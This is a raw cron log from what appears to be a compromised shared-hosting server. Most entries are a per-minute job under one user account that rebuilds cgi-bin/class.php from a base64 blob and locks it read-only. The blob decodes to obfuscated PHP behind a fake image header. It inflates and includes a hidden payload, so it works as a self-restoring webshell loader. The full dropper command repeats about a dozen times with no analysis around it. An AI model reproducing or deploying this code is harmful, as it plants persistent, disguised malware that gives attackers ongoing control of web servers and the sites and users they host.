Nov 14 05:27:01 server CROND[1236]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:27:01 server CROND[1237]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 05:28:01 server CROND[2038]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:29:01 server CROND[2894]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:30:01 server CROND[3756]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 05:30:01 server CROND[3762]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats &gt; /dev/null 2&gt;&amp;1)
Nov 14 05:30:01 server CROND[3767]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 05:30:01 server CROND[3768]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:30:01 server CROND[3769]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 05:31:01 server CROND[4775]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:32:01 server CROND[5503]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:33:01 server CROND[6318]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:34:01 server CROND[6799]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:35:01 server CROND[7465]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 05:35:01 server CROND[7466]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 05:35:01 server CROND[7467]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 14 05:35:01 server CROND[7474]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 05:35:01 server CROND[7476]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:36:01 server CROND[8488]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:37:01 server CROND[9499]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:38:01 server CROND[10346]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:39:01 server CROND[10579]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:39:01 server CROND[10580]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 05:40:01 server CROND[11482]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 05:40:01 server CROND[11483]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
